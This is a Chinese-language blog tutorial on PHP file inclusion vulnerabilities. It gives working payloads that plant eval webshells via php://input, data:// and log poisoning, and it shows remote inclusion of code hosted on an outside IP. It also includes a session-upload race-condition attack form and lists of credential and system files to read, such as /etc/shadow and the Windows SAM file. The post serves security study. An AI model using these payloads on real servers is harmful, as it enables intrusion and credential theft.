文件包含漏洞汇总

原理

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞

文件包含函数

  • 白盒

    • php:include,require,include_once,require_once,file_put_contents

      • include函数在包含的过程中如果出现错误,就会抛出一个警告,程序继续运行
      • require函数出现错误的时候,会直接报错并退出程序的执行
      • file_put_contents(a,b)将b覆盖a
    • java:java.io.file,java.io.filereader等

    • asp .net: system.io.filestream, system.io.streamreader等

  • 黑盒

    • url中有path,dir,file,pag,page,asrchive,p,eng等相关字眼

伪协议函数

本地包含

  1. file协议

    1. payload:
      ?file=user.txt

  2. filter协议

    1. payload:

      http://127.0.0.1/include.php?file=php://filter/read=convert.base64-encode/resource=user.txt
      
  3. input协议

    1. payload

      get:http://127.0.0.1/include.php?file=php://input //如果file过滤php,可以写Php
      poet:<?php phpinfo();?>
      木马写入:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd])?>')?>
      
  4. data协议

    1. payload

      http://127.0.0.1/include.php?file=data://text/plain,<?php phpinfo();?>
      

    2. payload

      http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
      //base64后面的符号要url编码1
      

远程文件包含

  1. 条件

  2. http协议

    1. payload:

      http://127.0.0.1/include.php?file=http://43.139.186.80/1.txt
      

日志文件绕过

  1. 概念

    1. 我们访问每一个网站都会有日志留在服务器,这些日志消息通常会包含usergent头,这样我们就可以通过对usergent头传入恶意数据然后通过文件包含漏洞进行解析即可绕过
  2. 日志路径

    1. apache: /var/log/apache/access.log
    2. nginx: /var/log/nginx/access.log 和 /var/log/nginx/error.log
  3. 复现

    1. 随便访问,捉包,在usergent后面插入木马

      1.   <?php eval($_REQUEST['cmd']);?>
        
    2. 通过文件包含包含日志文件即可,?file=/var/log/nginx/access.log

文件包含之条件竞争

  1. 概念

    1. 通常一个session建立是会被session锁定机制进行锁住,防止多个并发请求同时修改session数据,这个漏洞的原理是利用了PHP_SESSION_UPLOAD_PROGRESS 特性,当 PHP 处理文件上传请求时,会短暂解锁会话文件,允许并发请求访问,攻击者利用这个窗口,发送包含恶意 PHP_SESSION_UPLOAD_PROGRESS 字段的请求来达到任意命令执行的目的
  2. 靶场介绍

    1. 网站

      网站:http://43.139.186.80/1.php
      <?php
      if (isset($_GET['file'])) {
          $file = $_GET['file'];
      //    $file = str_replace("php", "???", $file); 
          $file = str_replace("data", "???", $file); 
      //    $file = str_replace(":", "???", $file); 
          $file = str_replace(".", "???", $file); 
          include($file);
      } else {
          highlight_file(__FILE__);
      }
      ?>
      攻击者的网站:
      <!DOCTYPE html>
      <html>12
      <body>
      <form action="http://43.139.186.80/1.php" method="POST" enctype="multipart/form-data">
      <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd])?>')?>" />
      <input type="file" name="file" />
      <input type="submit" value="submit" />
      </form>
      </body>
      </html>
      <?php
      session_start();
      ?>
      //记得form表单更换为上面的为受害者网站,value值为执行函数,目的是在当前网站下创建一个新的木马shell.php
      
  3. 复现

    1. 攻击者在自己的网站中上传任意文件,捉包,放到攻击者模块

    2. 在数据包中添加cookie和session字段

    3. 攻击模块配置如下

    4. 在进行访问缓存文件的数据包,http://43.139.186.80/1.php?file=C:\phpstudy_pro\Extensions\tmp\tmp\sess_exp,路径可以在phpinfo中的session.save_path值中找到,名称是sess_+你刚才写的名称,捉包,攻击模块配置和上面一样

    5. 同时发包,看返回的数据长度,出现数值不同说明攻击成功

文件下载

  • 文件下载常见的目录
    • 系统目录
      • linux
        • /etc/passwd
                  //保存了系统中所有的用户信息
          
          /etc/shadow
                  //用户的密码信息
          
          /root/.ssh/authorized_keys
                  //公钥文件
          
          /root/.bash_history
                  //用户终端操作历史记录
          
          /usr/local/app/apache2/conf/httpd.conf
                  //apache2默认配置文件
          
          /usr/local/app/apache2/conf/extra/httpd-vhosts.conf
                  //虚拟网站设置
          
          /usr/local/app/php5/lib/php.ini
                  //php相关设置
          
          /etc/httpd/conf/httpd.conf
                  //apache
          
          /etc/php5/apache2/php.ini
                  //ubuntu系统的默认路径
          
      • windows
        • C:\boot.ini
                  //查看系统版本
          
          C:\windows\system32\inetsrv\MetaBase.xml
                  //查看IIS虚拟主机配置文件
          
          C:\windows\repair\sam
                  //存储Windows系统初次安装的密码
          
          C:\Program Files\mysql\my.ini
                  //mysql配置,记录管理员登陆过的MYSQL用户名和密码
          
          C:\Program Files\mysql\data\mysql\user.MYD
                  //mysql.user表中的数据库连接密码
          
          C:\windows\php.ini php.ini
                  //php配置文件
          
          C:\Windows\system.in
                  //winnt的php配置信息
          
          C:\Windows\win.ini
                  //winnt的mysql配置文件
          
          C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
                  //存储虚拟主机网站路径和密码
          
          C:\Program Files\Apache Group\Apache\conf\httpd.conf 或C:\apache\conf\httpd.conf
                  //查看WINDOWS系统apache文件
          
          C:/Resin-3.0.14/conf/resin.conf
                  //查看jsp开发的网站resin文件配置信息.
          
          C:\Windows\System32\drivers\etc\hostswinserver
                  //配置Telnet信息
          
    • 程序配置文件
      • apache
        • /etc/httpd/conf/httpd.conf
          /etc/apache2/httpd.conf
          /etc/apache2/apache2.conf
          
      • nginx
        • /etc/nginx/nginx.conf
          /usr/local/nginx/conf/nginx.conf
          /usr/local/etc/nginx/nginx.conf
          
      • redis
        • /etc/redis.conf
          
  • 目录遍历与目录穿越的区别
    • 目录遍历是指获取所有或单个网站目录结构

      • 在这里插入图片描述
    • 而目录穿越是指在本来的文件中返回到上一级文件夹中

      *在这里插入图片描述

  • 28
    点赞
  • 26
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

CongSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值